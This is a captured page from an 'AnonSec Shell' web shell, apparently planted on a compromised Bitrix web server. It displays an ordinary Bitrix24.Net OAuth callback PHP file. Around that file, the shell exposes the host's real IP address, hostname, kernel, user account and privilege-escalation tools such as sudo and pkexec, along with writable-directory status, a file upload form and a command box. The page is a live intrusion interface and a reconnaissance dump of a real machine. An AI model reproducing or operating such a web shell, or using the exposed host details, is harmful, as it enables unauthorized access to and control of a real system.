AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.138.134.19
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/tools/oauth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/tools/oauth/bitrix24net.php
<?
/*
This is callback page for Bitrix24.Net OAuth 2.0 authentication.
Bitrix24.Net redirects only to specific back url set in the OAuth application.
The page opens in popup window after user authorized on Bitrix24.Net.
*/

/**
 * Bitrix vars
 *
 * @global \CUser $USER
 *
 */

define("NOT_CHECK_PERMISSIONS", true);

$arState = array();

if(isset($_REQUEST["state"]) && is_string($_REQUEST["state"]))
{
	parse_str($_REQUEST["state"], $arState);

	if(isset($arState['site_id']) && is_string($arState['site_id']))
	{
		$site = mb_substr(preg_replace("/[^a-z0-9_]/i", "", $arState['site_id']), 0, 2);
		define("SITE_ID", $site);
	}
	elseif(isset($arState['admin']))
	{
		define('ADMIN_SECTION', true);
	}
}

require_once($_SERVER['DOCUMENT_ROOT']."/bitrix/modules/main/include/prolog_before.php");

if(isset($_REQUEST["update_broadcast"]))
{
	\Bitrix\Main\Config\Option::set("socialservices", "network_last_update", time());
}
else
{
	if(CModule::IncludeModule("socialservices"))
	{
		if(isset($_REQUEST['apcode']))
		{
			if($USER->IsAuthorized())
			{
				if(\Bitrix\Socialservices\ApManager::receive($USER->GetID(), $_REQUEST['apcode']))
				{
					if(isset($arState['backurl']))
					{
						LocalRedirect($arState['backurl']);
					}
					elseif(defined('ADMIN_SECTION'))
					{
						LocalRedirect('/bitrix/admin/');
					}
					else
					{
						LocalRedirect('/');
					}
				}
			}
		}
		else
		{
			$oAuthManager = new CSocServAuthManager();
			$oAuthManager->Authorize("Bitrix24Net");
		}
	}
}

require_once($_SERVER['DOCUMENT_ROOT']."/bitrix/modules/main/include/epilog_after.php");
?>

Anon7 - 2022
AnonSec Team